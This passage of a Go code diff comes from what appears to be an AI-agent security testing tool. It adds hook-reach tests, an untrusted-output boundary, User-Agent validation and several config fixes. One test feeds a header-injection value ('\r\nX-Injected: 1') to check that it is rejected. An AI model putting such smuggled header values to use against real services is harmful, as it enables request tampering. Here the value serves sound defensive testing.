+}
+
+type recordedHookCall struct {
+	tool   string
+	scope  intercept.TargetScope
+	scoped bool
+}
+
+func (h *recordingHooks) PreToolUse(ctx context.Context, name string, _ []byte) (bool, string, []byte) {
+	scope, ok := intercept.TargetScopeFromContext(ctx)
+	h.mu.Lock()
+	h.calls = append(h.calls, recordedHookCall{tool: name, scope: scope, scoped: ok})
+	h.mu.Unlock()
+	return true, "blocked by the recording test hooks", nil
+}
+
+func (h *recordingHooks) PostToolUse(context.Context, string, []byte, []byte, bool) {}
+
+func (h *recordingHooks) Stop(context.Context, []llm.Message) (bool, []string, string) {
+	return false, nil, ""
+}
+
+// assertOneScopedCall checks that the hooks saw exactly one call of tool, on a
+// context carrying the task scope taskID.
+func (h *recordingHooks) assertOneScopedCall(t *testing.T, tool, taskID string) {
+	t.Helper()
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	if len(h.calls) != 1 {
+		t.Fatalf("hooks saw %d tool calls, want 1: %+v", len(h.calls), h.calls)
+	}
+	c := h.calls[0]
+	if c.tool != tool {
+		t.Fatalf("hooks saw tool %q, want %q", c.tool, tool)
+	}
+	if !c.scoped || c.scope.TaskID != taskID || c.scope.ConversationID != 0 {
+		t.Fatalf("hook context scope = %+v (present=%v), want task %s", c.scope, c.scoped, taskID)
+	}
+	if c.scope.WaitBound != intercept.DefaultTargetWaitBound {
+		t.Fatalf("hook context wait bound = %v, want %v", c.scope.WaitBound, intercept.DefaultTargetWaitBound)
+	}
+}
+
+// toolCallThenStop scripts a model that calls one tool on its first turn and ends
+// the run on the next.
+func toolCallThenStop(tool, input string) captureUsageProvider {
+	var turn atomic.Int64
+	return captureUsageProvider{stream: func(_ context.Context, yield func(llm.StreamEvent, error) bool) {
+		events := []llm.StreamEvent{{Type: llm.SETextDelta, Text: "done"}, {Type: llm.SEMessageDelta, StopReason: "end_turn"}}
+		if turn.Add(1) == 1 {
+			events = []llm.StreamEvent{
+				{Type: llm.SEToolUseStart, ToolID: "call-1", ToolName: tool},
+				{Type: llm.SEToolInputJSON, Text: input},
+				{Type: llm.SEMessageDelta, StopReason: "tool_use"},
+			}
+		}
+		for _, event := range events {
+			if !yield(event, nil) {
+				return
+			}
+		}
+	}}
+}
+
+// hookReachFixture is one exploration on the test database plus a Bash call whose
+// only effect would be to create marker — which the blocking hooks must prevent.
+type hookReachFixture struct {
+	expID   int64
+	taskID  string
+	ts      *db.ExplorationStore
+	workDir string
+	marker  string
+	bash    string
+	ctx     context.Context
+}
+
+func newHookReachFixture(t *testing.T) hookReachFixture {
+	t.Helper()
+	d := testDB(t)
+	t.Cleanup(func() { _ = d.Close() })
+	expID, err := d.CreateExploration("hook reach probe", "prove tool calls reach the hooks")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM explorations WHERE id=$1`, expID) })
+	f := hookReachFixture{expID: expID, taskID: fmt.Sprint(expID), ts: d.Exploration(expID), workDir: t.TempDir()}
+	f.marker = filepath.Join(f.workDir, "tool-ran")
+	input, _ := json.Marshal(map[string]string{"command": "touch " + f.marker})
+	f.bash = string(input)
+	f.ctx = intercept.WithTargetScope(t.Context(), intercept.TargetScope{TaskID: f.taskID, WaitBound: intercept.DefaultTargetWaitBound})
+	return f
+}
+
+func (f hookReachFixture) assertToolDidNotRun(t *testing.T) {
+	t.Helper()
+	if _, err := os.Stat(f.marker); err == nil {
+		t.Fatal("the blocked tool call was executed")
+	}
+}
+
+func TestPlannerToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	hooks := &recordingHooks{}
+	planner := NewPlanner(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, _, err := planner.Plan(f.ctx, f.expID, nil, f.ts, "probe goal", nil, hooks, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+func TestMainAgentToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	hooks := &recordingHooks{}
+	main := NewMainAgent(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, err := main.Chat(f.ctx, f.expID, 0, nil, f.ts, "probe goal", "status?", hooks, nil, nil, nil, nil, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+func TestWorkerToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	payload := map[string]any{"summary": "probe intent"}
+	intentID, err := f.ts.AddNode("intent", payload, 0, "running", "planner", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	raw, _ := json.Marshal(payload)
+	hooks := &recordingHooks{}
+	worker := NewWorker(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, _, err := worker.Execute(f.ctx, "work#1", f.expID, nil, f.ts, &db.Node{ID: intentID, Payload: raw}, hooks, nil, nil, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+// The chat agent takes a Guard rather than a hook runner, so the Guard's own
+// audit ring is the recorder here. The scripted call is a read-only directory
+// listing of the session's empty work dir: no command runs. No database.
+func TestChatToolCallReachesHooks(t *testing.T) {
+	g := guard.New()
+	chat := NewChatAgent(toolCallThenStop("LS", `{}`), "test-model", t.TempDir(), nil, 0)
+	chat.SetGuard(g)
+	if _, err := chat.Chat(t.Context(), "assistant", "conv-hook-reach", "list the work dir", 3, 0, false, nil); err != nil {
+		t.Fatal(err)
+	}
+	audit := g.Audit()
+	if len(audit) != 1 || audit[0].Tool != "LS" {
+		t.Fatalf("guard audit = %+v, want one LS call", audit)
+	}
+}

agent/mainagent.go

@@ -7,6 +7,7 @@ import (
 	"github.com/Autumn-27/artex/db"
 	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/agentcore"
+	"github.com/Autumn-27/norma/harness"
 	"github.com/Autumn-27/norma/llm"
 	"github.com/Autumn-27/norma/permission"
 	actool "github.com/Autumn-27/norma/tool"
@@ -114,8 +115,9 @@ func mainAgentSystem(goal, dataDir, workDir string) string {
 // Chat handles one human message and returns the assistant reply. emit, if
 // non-nil, receives each execution step (thinking / tool_use / tool_result /
 // text / result) so the main-agent session shows its work — exactly like the
-// worker/planner sessions — not just the final answer.
-func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.AssetStore, ts *db.ExplorationStore, goal, message string, emit func(db.Activity), notify, resume func(), notifyGoal, notifyHint func([]string)) (string, error) {
+// worker/planner sessions — not just the final answer. hooks (the task's
+// target-only Guard) sees every tool call; may be nil.
+func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.AssetStore, ts *db.ExplorationStore, goal, message string, hooks harness.HookRunner, emit func(db.Activity), notify, resume func(), notifyGoal, notifyHint func([]string)) (string, error) {
 	tsx := NewToolSet(ts, "human")
 	tsx.SetFindingRecorder(m.findingRecorder)
 	if as != nil {
@@ -169,6 +171,12 @@ func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.
 		Settlement:   wrapupSettlement("mainagent", nil),
 		NonStreaming: m.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
 		MaxTokens:    m.maxTokens(),    // 0 = send no cap, the server's default decides
+
+		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
+		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
+	}
+	if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
+		opts.Hooks = hooks
 	}
 	if m.tx != nil { // persist raw human↔AI conversation; one accumulating file per segment
 		opts.Transcript = m.tx

agent/planner.go

@@ -10,6 +10,7 @@ import (
 	"github.com/Autumn-27/artex/db"
 	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/agentcore"
+	"github.com/Autumn-27/norma/harness"
 	"github.com/Autumn-27/norma/llm"
 	"github.com/Autumn-27/norma/permission"
 	actool "github.com/Autumn-27/norma/tool"
@@ -365,7 +366,8 @@ func plannerSystem(goal, dataDir, workDir string) string {
 // and/or finding(s) reported (may be several — the engine debounces a burst; empty
 // for time/heartbeat wakes). They are spelled out at the top of the prompt so the
 // planner looks first at the actual change (which intent, its output/finding).
-func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal string, triggers []TriggerEvent, emit func(db.Activity)) (met bool, reason string, err error) {
+// hooks (the task's target-only Guard) sees every tool call; may be nil.
+func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal string, triggers []TriggerEvent, hooks harness.HookRunner, emit func(db.Activity)) (met bool, reason string, err error) {
 	// cold-digest §2.3/§7: advance this task's planner-round counter, maintain the
 	// cold_since_round stamps, and (if a threshold is hit) kick off background
 	// compaction. Synchronous part is cheap (a few queries); the LLM compaction
@@ -457,6 +459,12 @@ func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts
 		Settlement:   settle,
 		NonStreaming: p.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
 		MaxTokens:    p.maxTokens(),    // 0 = send no cap; the server default decides
+
+		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
+		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
+	}
+	if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
+		opts.Hooks = hooks
 	}
 	if p.tx != nil { // persist raw LLM conversation; one accumulating file per task's planner
 		opts.Transcript = p.tx

agent/provider.go

@@ -86,6 +86,10 @@ type Config struct {
 	// context via transcript.WithSessionID and read by the RoundTripper, so even a
 	// shared provider emits different header values per session.
 	SessionHeaderKey string
+	// UserAgent, when non-empty, overrides the User-Agent header on every outbound
+	// LLM request built from this config. Empty = don't set it, leaving the Go/Norma
+	// default UA untouched (the historical behavior). Validated by ValidateUserAgent.
+	UserAgent string
 	// Retry holds the retry parameters resolved for this config (profile override →
 	// global policy → built-in default, resolved server-side). See RetryConfig for
 	// the per-layer semantics; zero values = fully inherit the built-in defaults.
@@ -203,7 +207,9 @@ func compactionConfig(windowTokens int) *compaction.Config {
 //	ARTEX_LLM_PROXY    = proxy URL        (optional; http/https/socks5)
 //	ANTHROPIC_API_KEY / OPENAI_API_KEY         = credentials (unused for ollama)
 func FromEnv() (Config, bool) {
-	prov := os.Getenv("ARTEX_LLM_PROVIDER")
+	// Case- and space-insensitive: "Ollama" used to miss every case below and
+	// fall through to anthropic, sending ANTHROPIC_API_KEY to the Ollama base URL.
+	prov := strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_LLM_PROVIDER")))
 	anthKey := os.Getenv("ANTHROPIC_API_KEY")
 	oaiKey := os.Getenv("OPENAI_API_KEY")
 
@@ -339,7 +345,7 @@ func (c Config) Provider() string {
 // limiter lives on the single provider instance — so planner + all workers +
 // main agent (which share this provider) are bounded by one shared rate limit.
 func (c Config) NewProvider() (llm.Provider, error) {
-	client, err := quotaAwareHTTPClient(c.Proxy, c.SessionHeaderKey)
+	client, err := quotaAwareHTTPClient(c.Proxy, c.SessionHeaderKey, c.UserAgent)
 	if err != nil {
 		return nil, err
 	}
@@ -438,6 +444,9 @@ type quotaAwareTransport struct {
 	// carries; its value is the session id read from the request context. Empty
 	// disables it. See Config.SessionHeaderKey.
 	sessionHeaderKey string
+	// userAgent, when non-empty, is set as the User-Agent header on every request.
+	// Empty leaves the default UA untouched. See Config.UserAgent.
+	userAgent string
 }
 
 func (t quotaAwareTransport) RoundTrip(req *http.Request) (*http.Response, error) {
@@ -450,6 +459,11 @@ func (t quotaAwareTransport) RoundTrip(req *http.Request) (*http.Response, error
 			req.Header.Set(t.sessionHeaderKey, sid)
 		}
 	}
+	// Custom User-Agent: override only when configured, so an empty value keeps the
+	// underlying transport's default UA exactly as before.
+	if t.userAgent != "" {
+		req.Header.Set("User-Agent", t.userAgent)
+	}
 	// When LLM recording is on, the Recorder puts a Capture on the context so the
 	// raw wire bodies can be persisted. This is the only layer that still sees
 	// them: norma builds the request body internally and decodes the SSE response
@@ -502,7 +516,7 @@ func requestBodySnapshot(req *http.Request) string {
 	return string(b)
 }
 
-func quotaAwareHTTPClient(proxy, sessionHeaderKey string) (*http.Client, error) {
+func quotaAwareHTTPClient(proxy, sessionHeaderKey, userAgent string) (*http.Client, error) {
 	transport := http.DefaultTransport.(*http.Transport).Clone()
 	proxy = strings.TrimSpace(proxy)
 	if proxy == "" {
@@ -521,7 +535,31 @@ func quotaAwareHTTPClient(proxy, sessionHeaderKey string) (*http.Client, error)
 		}
 		transport.Proxy = http.ProxyURL(proxyURL)
 	}
-	return &http.Client{Transport: quotaAwareTransport{base: transport, sessionHeaderKey: strings.TrimSpace(sessionHeaderKey)}}, nil
+	return &http.Client{Transport: quotaAwareTransport{base: transport, sessionHeaderKey: strings.TrimSpace(sessionHeaderKey), userAgent: strings.TrimSpace(userAgent)}}, nil
+}
+
+// MaxUserAgentLen bounds a custom User-Agent value. Generous for real UA strings
+// while keeping a pathological value out of every outbound request.
+const MaxUserAgentLen = 256
+
+// ValidateUserAgent trims a custom User-Agent and returns the cleaned value. An
+// empty/blank input is valid and means "no override" (keep the default UA). A
+// non-empty value is rejected when it exceeds MaxUserAgentLen or contains any
+// control character (including CR/LF, which would allow header injection).
+func ValidateUserAgent(raw string) (string, error) {
+	ua := strings.TrimSpace(raw)
+	if ua == "" {
+		return "", nil
+	}
+	if len(ua) > MaxUserAgentLen {
+		return "", fmt.Errorf("user agent too long: %d bytes (max %d)", len(ua), MaxUserAgentLen)
+	}
+	for _, r := range ua {
+		if r < 0x20 || r == 0x7f {
+			return "", fmt.Errorf("user agent contains a control character")
+		}
+	}
+	return ua, nil
 }
 
 // logTestConnection prints the raw HTTP status code(s) and response body of a

agent/provider_capture_test.go

@@ -21,7 +21,7 @@ func TestRoundTripCapturesRawBodies(t *testing.T) {
 	}))
 	defer srv.Close()
 
-	client, err := quotaAwareHTTPClient("", "")
+	client, err := quotaAwareHTTPClient("", "", "")
 	if err != nil {
 		t.Fatalf("client: %v", err)
 	}
@@ -65,7 +65,7 @@ func TestRoundTripCaptures429BodyAlongsideQuotaRewrite(t *testing.T) {
 	}))
 	defer srv.Close()
 
-	client, err := quotaAwareHTTPClient("", "")
+	client, err := quotaAwareHTTPClient("", "", "")
 	if err != nil {
 		t.Fatalf("client: %v", err)
 	}
@@ -106,7 +106,7 @@ func TestRoundTripWithoutCaptureIsUnchanged(t *testing.T) {
 	}))
 	defer srv.Close()
 
-	client, err := quotaAwareHTTPClient("", "")
+	client, err := quotaAwareHTTPClient("", "", "")
 	if err != nil {
 		t.Fatalf("client: %v", err)
 	}

agent/provider_env_test.go

@@ -0,0 +1,37 @@
+package agent
+
+import (
+	"testing"
+
+	"github.com/Autumn-27/norma/llm"
+)
+
+// ARTEX_LLM_PROVIDER is matched regardless of case and surrounding spaces. A
+// miss used to fall through to anthropic: "Ollama" then sent ANTHROPIC_API_KEY
+// to the Ollama base URL.
+func TestFromEnvProviderIsCaseInsensitive(t *testing.T) {
+	t.Setenv("ANTHROPIC_API_KEY", "sk-ant-secret")
+	t.Setenv("OPENAI_API_KEY", "sk-oai")
+	t.Setenv("ARTEX_LLM_BASE_URL", "")
+	t.Setenv("ARTEX_LLM_MODEL", "")
+	for _, tc := range []struct {
+		env  string
+		want llm.Format
+		key  string
+	}{
+		{"Ollama", FormatOllama, ""},
+		{" OLLAMA ", FormatOllama, ""},
+		{"OpenAI", llm.FormatOpenAI, "sk-oai"},
+		{"OpenAI-Responses", llm.FormatOpenAIResponses, "sk-oai"},
+		{"Anthropic", llm.FormatAnthropic, "sk-ant-secret"},
+	} {
+		t.Setenv("ARTEX_LLM_PROVIDER", tc.env)
+		c, ok := FromEnv()
+		if !ok {
+			t.Fatalf("%q: FromEnv returned ok=false", tc.env)
+		}
+		if c.Format != tc.want || c.APIKey != tc.key {
+			t.Fatalf("%q: format=%v key=%q, want format=%v key=%q", tc.env, c.Format, c.APIKey, tc.want, tc.key)
+		}
+	}
+}

agent/terminalreason_test.go

@@ -141,7 +141,7 @@ func TestAbortCausesAreWellFormed(t *testing.T) {
 	all := []*AbortCause{
 		AbortPausedByUser, AbortPausedByOrchestrator, AbortTaskDeleted, AbortPausedOnReload,
 		AbortGoalMet, AbortSettleDrainTimeout, AbortKilledByPlanner, AbortWorkPausedByUser,
-		AbortWorkCancelledByUser, AbortWorkFinished, AbortPausedRaceGuard,
+		AbortWorkCancelledByUser, AbortWorkClaimLost, AbortWorkFinished, AbortPausedRaceGuard,
 		AbortChatStoppedByUser, AbortChatPausedWithTask, AbortChatTurnFinished,
 		AbortShutdown, AbortRunHardTimeout,
 	}

agent/toolcatalog_test.go

@@ -3,6 +3,7 @@ package agent
 import (
 	"context"
 	"encoding/json"
+	"strings"
 	"testing"
 
 	actool "github.com/Autumn-27/norma/tool"
@@ -46,6 +47,46 @@ func TestBuiltinToolSeeds(t *testing.T) {
 	}
 }
 
+// TestObjDropsBlankRequired: obj never emits a blank required name, and omits the
+// "required" key entirely when no real name is left.
+func TestObjDropsBlankRequired(t *testing.T) {
+	if got, ok := obj(map[string]any{}, "")["required"]; ok {
+		t.Errorf(`obj(props, "") required = %v, want no required key`, got)
+	}
+	got, _ := obj(map[string]any{}, " ", "x")["required"].([]string)
+	if len(got) != 1 || got[0] != "x" {
+		t.Errorf(`obj(props, " ", "x") required = %v, want [x]`, got)
+	}
+}
+
+// TestListTaskCredentialsSchemaHasNoBlankRequired guards the seeded schema of the
+// parameterless list_task_credentials tool: "required": [""] is rejected by strict
+// providers, which fails every worker run.
+func TestListTaskCredentialsSchemaHasNoBlankRequired(t *testing.T) {
+	for _, s := range BuiltinToolSeeds() {
+		if s.Key != "list_task_credentials" {
+			continue
+		}
+		raw, err := json.Marshal(s.Schema)
+		if err != nil {
+			t.Fatal(err)
+		}
+		var schema struct {
+			Required []string `json:"required"`
+		}
+		if err := json.Unmarshal(raw, &schema); err != nil {
+			t.Fatalf("schema %s: %v", raw, err)
+		}
+		for _, r := range schema.Required {
+			if strings.TrimSpace(r) == "" {
+				t.Errorf("blank required entry in schema %s", raw)
+			}
+		}
+		return
+	}
+	t.Fatal("list_task_credentials not seeded")
+}
+
 // TestDecorateToolInjectsDefaults verifies a schema "default" fills a missing param
 // before the underlying handler runs, and an explicitly-provided value is kept.
 func TestDecorateToolInjectsDefaults(t *testing.T) {

agent/tools.go

@@ -351,8 +351,16 @@ func pidList(raw []json.RawMessage) []int64 {
 
 func obj(props map[string]any, required ...string) map[string]any {
 	m := map[string]any{"type": "object", "properties": props}
-	if len(required) > 0 {
-		m["required"] = required
+	// Blank names are dropped, and "required" is omitted when nothing is left:
+	// strict providers reject "required": [""] and fail every run carrying the tool.
+	req := make([]string, 0, len(required))
+	for _, r := range required {
+		if strings.TrimSpace(r) != "" {
+			req = append(req, r)
+		}
+	}
+	if len(req) > 0 {
+		m["required"] = req
 	}
 	return m
 }

agent/tools_creds.go

@@ -64,7 +64,7 @@ func (t *ToolSet) listTaskCredentials() actool.CoreTool {
 	return writeTool(
 		"list_task_credentials",
 		"List this task's test accounts: user-declared accounts (e.g. program-provided aliases; a user-declared entry with an empty password means: register an account on that domain with a strong password, then record it via save_task_credential) plus accounts recorded by earlier runs. Check this BEFORE registering a new account, and use matching entries for authenticated testing.",
-		obj(map[string]any{}, ""),
+		obj(map[string]any{}),
 		func(_ context.Context, _ json.RawMessage) (actool.Result, error) {
 			if t.ts == nil {
 				return actool.Errorf("list_task_credentials is not enabled: task store is not initialized"), nil

agent/untrusted_boundary.go

@@ -0,0 +1,19 @@
+package agent
+
+import (
+	"os"
+	"strings"
+)
+
+// untrustedBoundaryEnabled reports whether ARTEX_UNTRUSTED_BOUNDARY opts in to
+// Norma's untrusted-output boundary (agentcore.Options.UntrustedOutputBoundary:
+// tool results framed between nonce-tagged markers). Only "1", "true" and "on"
+// (case- and space-insensitive) enable it; unset, empty or anything else keeps
+// it off.
+func untrustedBoundaryEnabled() bool {
+	switch strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_UNTRUSTED_BOUNDARY"))) {
+	case "1", "true", "on":
+		return true
+	}
+	return false
+}

agent/untrusted_boundary_test.go

@@ -0,0 +1,59 @@
+package agent
+
+import (
+	"os"
+	"strings"
+	"testing"
+)
+
+func TestUntrustedBoundaryEnabled(t *testing.T) {
+	for _, tc := range []struct {
+		env  string
+		want bool
+	}{
+		{"", false},
+		{"0", false},
+		{"false", false},
+		{"yes", false},
+		{"1", true},
+		{"true", true},
+		{"on", true},
+		{" TRUE ", true},
+		{"On", true},
+	} {
+		t.Setenv("ARTEX_UNTRUSTED_BOUNDARY", tc.env)
+		if got := untrustedBoundaryEnabled(); got != tc.want {
+			t.Errorf("ARTEX_UNTRUSTED_BOUNDARY=%q: got %v, want %v", tc.env, got, tc.want)
+		}
+	}
+}
+
+func TestUntrustedBoundaryDisabledWhenUnset(t *testing.T) {
+	t.Setenv("ARTEX_UNTRUSTED_BOUNDARY", "1") // registers restoration of the original value
+	os.Unsetenv("ARTEX_UNTRUSTED_BOUNDARY")
+	if untrustedBoundaryEnabled() {
+		t.Fatal("ARTEX_UNTRUSTED_BOUNDARY unset: got true, want false")
+	}
+}
+
+// Structural, not behavioural: the four agentcore.Options literals live inside
+// run methods that need a database and an LLM provider, so this only checks
+// that each source file passes the helper to the option exactly once.
+func TestUntrustedBoundaryWiredInOptionsLiterals(t *testing.T) {
+	const want = "UntrustedOutputBoundary: untrustedBoundaryEnabled(),"
+	for _, f := range []string{"worker.go", "planner.go", "chat.go", "mainagent.go"} {
+		src, err := os.ReadFile(f)
+		if err != nil {
+			t.Fatal(err)
+		}
+		n := 0
+		for _, line := range strings.Split(string(src), "\n") {
+			if strings.TrimSpace(line) == want {
+				n++
+			}
+		}
+		if n != 1 {
+			t.Errorf("%s: %d lines equal to %q, want 1", f, n, want)
+		}
+	}
+}

agent/user_agent_test.go

@@ -0,0 +1,91 @@
+package agent
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+)
+
+// serveUA spins up an httptest server that records the User-Agent of the request
+// it receives, drives one request through a quotaAwareHTTPClient built with the
+// given userAgent, and returns what actually reached the wire.
+func serveUA(t *testing.T, userAgent string) string {
+	t.Helper()
+	got := make(chan string, 1)
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		got <- r.Header.Get("User-Agent")
+		w.WriteHeader(http.StatusOK)
+	}))
+	defer srv.Close()
+
+	client, err := quotaAwareHTTPClient("", "", userAgent)
+	if err != nil {
+		t.Fatalf("quotaAwareHTTPClient: %v", err)
+	}
+	resp, err := client.Get(srv.URL)
+	if err != nil {
+		t.Fatalf("GET: %v", err)
+	}
+	resp.Body.Close()
+	return <-got
+}
+
+func TestUserAgentHeaderSetWhenConfigured(t *testing.T) {
+	const want = "artex-test-agent/1.2.3"
+	if got := serveUA(t, want); got != want {
+		t.Fatalf("User-Agent = %q, want %q", got, want)
+	}
+}
+
+func TestUserAgentHeaderDefaultWhenEmpty(t *testing.T) {
+	// Empty = no override: the Go client's default UA must reach the server unchanged.
+	got := serveUA(t, "")
+	if !strings.HasPrefix(got, "Go-http-client/") {
+		t.Fatalf("User-Agent = %q, want the default Go-http-client UA when unset", got)
+	}
+}
+
+func TestValidateUserAgentRejectsNewline(t *testing.T) {
+	if _, err := ValidateUserAgent("good/1.0\r\nX-Injected: 1"); err == nil {
+		t.Fatalf("expected a newline-containing user agent to be rejected")
+	}
+}
+
+// The rule is "no control character at all" (r < 0x20 or r == 0x7f), so the
+// non-newline controls are rejected too, TAB included: a header value is one
+// printable token, not something to lay out with tabs.
+func TestValidateUserAgentRejectsControlCharacters(t *testing.T) {
+	for name, in := range map[string]string{
+		"NUL": "good/1.0\x00",
+		"US":  "good/1.0\x1f",
+		"DEL": "good/1.0\x7f",
+		"TAB": "good/1.0\tX",
+	} {
+		if _, err := ValidateUserAgent(in); err == nil {
+			t.Errorf("%s: expected a user agent containing %q to be rejected", name, in)
+		}
+	}
+}
+
+func TestValidateUserAgentAcceptsPrintableToken(t *testing.T) {
+	const want = "MyTool/1.0 (contact-free)"
+	if ua, err := ValidateUserAgent("  " + want + "  "); err != nil || ua != want {
+		t.Fatalf("printable value: got (%q, %v), want (%q, nil)", ua, err, want)
+	}
+}
+
+func TestValidateUserAgentRejectsTooLong(t *testing.T) {
+	if _, err := ValidateUserAgent(strings.Repeat("a", MaxUserAgentLen+1)); err == nil {
+		t.Fatalf("expected a user agent longer than %d to be rejected", MaxUserAgentLen)
+	}
+}
+
+func TestValidateUserAgentTrimsAndAllowsEmpty(t *testing.T) {
+	if ua, err := ValidateUserAgent("   "); err != nil || ua != "" {
+		t.Fatalf("blank user agent: got (%q, %v), want (\"\", nil)", ua, err)
+	}
+	if ua, err := ValidateUserAgent("  my-app/1.0  "); err != nil || ua != "my-app/1.0" {
+		t.Fatalf("trim: got (%q, %v), want (\"my-app/1.0\", nil)", ua, err)
+	}
+}

agent/worker.go

@@ -526,6 +526,9 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
 		Todos:         actool.NewTodoStore(),                  // session-level scratch todos (TodoWrite), pure planning, discarded on exit
 		NonStreaming:  w.nonStreaming(),                       // when this profile selects non-streaming, use Provider.Complete
 		MaxTokens:     w.maxTokens(),                          // 0 = send no cap; the server default decides
+
+		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
+		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
 	}
 	if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
 		opts.Hooks = hooks

cmd/artex/main.go

@@ -13,6 +13,7 @@ import (
 	"os/signal"
 	"path/filepath"
 	"runtime"
+	"strings"
 	"syscall"
 	"time"
 
@@ -49,7 +50,7 @@ func main() {
 
 func run() int {
 	var (
-		addr    = flag.String("addr", ":8787", "HTTP listen address")
+		addr    = flag.String("addr", "127.0.0.1:8787", "HTTP listen address")
 		dataDir = flag.String("data", filepath.Join(config.BaseDir(), "data"), "data directory for SQLite stores (default: data/ next to the executable)")
 		proxy   = flag.String("proxy", "127.0.0.1:8788", "traffic recording proxy address (empty to disable)")
 	)
@@ -97,7 +98,26 @@ func run() int {
 		skillDir = abs
 	}
 	log.Printf("[config] skill directory: %s", skillDir)
-	srv := server.New(ctx, mgr, skillDir, *dataDir, config.BaseDir(), server.WithSecretScrub())
+	// JWT signing key directory: ARTEX_JWT_KEY_DIR (the Docker image points it at
+	// the /app/keys volume) or the base dir. Never the browsable data dir.
+	keyDir := strings.TrimSpace(os.Getenv("ARTEX_JWT_KEY_DIR"))
+	if keyDir == "" {
+		keyDir = config.BaseDir()
+	}
+	if abs, err := filepath.Abs(keyDir); err == nil {
+		keyDir = abs
+	}
+	log.Printf("[config] JWT key directory: %s", keyDir)
+	// Proxies whose X-Forwarded-For the login rate limit reads; empty trusts none.
+	trusted, err := server.ParseTrustedProxies(os.Getenv("ARTEX_TRUSTED_PROXIES"))
+	if err != nil {
+		log.Printf("[config] ARTEX_TRUSTED_PROXIES: %v", err)
+		return 1
+	}
+	if len(trusted) > 0 {
+		log.Printf("[config] trusted proxies: %v", trusted)
+	}
+	srv := server.New(ctx, mgr, skillDir, *dataDir, keyDir, server.WithSecretScrub(), server.WithTrustedProxies(trusted))
 	httpSrv := &http.Server{
 		Addr:              *addr,
 		Handler:           srv.Handler(),

db/companies.go

@@ -633,14 +633,20 @@ LIMIT $1`, malformedIPAssetsSampled)
 	if total == 0 {
 		return "", nil
 	}
+	return malformedIPAssetWarningText(total, samples), nil
+}
+
+// malformedIPAssetWarningText words the warning for total offending assets, of
+// which only samples are named; the ones left out are counted in the suffix.
+func malformedIPAssetWarningText(total int, samples []string) string {
 	warning := fmt.Sprintf(
 		"%d assets have an ip field that is not a valid IP; skipped for IP/CIDR scope matching (these assets will not be attributed to a company by subnet rules): %s",
 		total, strings.Join(samples, ", "),
 	)
 	if total > len(samples) {
-		warning += fmt.Sprintf(" and %d more", total)
+		warning += fmt.Sprintf(" and %d more", total-len(samples))
 	}
-	return warning, nil
+	return warning
 }
 
 // UpdateScope replaces all scope rules for a company and reattributes.

db/companies_test.go

@@ -458,3 +458,21 @@ func TestListCompanies(t *testing.T) {
 		t.Error("ListCompanies: created company not found")
 	}
 }
+
+func TestMalformedIPAssetWarningTextCountsOmitted(t *testing.T) {
+	samples := []string{"#1 a", "#2 b", "#3 c", "#4 d", "#5 e"}
+	// The suffix must count the assets left out, not repeat the total, otherwise
+	// the operator is told about more bad rows than exist.
+	got := malformedIPAssetWarningText(8, samples)
+	if !strings.HasPrefix(got, "8 assets have an ip field") {
+		t.Fatalf("the warning should lead with the total of 8, got %q", got)
+	}
+	if !strings.HasSuffix(got, ": #1 a, #2 b, #3 c, #4 d, #5 e and 3 more") {
+		t.Fatalf("8 assets with 5 named should note the 3 omitted, got %q", got)
+	}
+	// When every offending asset is named there is nothing to add.
+	got = malformedIPAssetWarningText(5, samples)
+	if !strings.HasSuffix(got, ": #1 a, #2 b, #3 c, #4 d, #5 e") {
+		t.Fatalf("5 assets with 5 named should have no suffix, got %q", got)
+	}
+}

db/config.go

@@ -64,6 +64,10 @@ type LLMProfile struct {
 	// or sticky routing off a session-id header. "" = not sent. Maps to
 	// agent.Config.SessionHeaderKey.
 	SessionHeaderKey string `json:"session_header_key"`
+	// UserAgent, when non-empty, overrides the User-Agent header on every outbound
+	// request built from this profile. "" = don't override (keep the default UA);
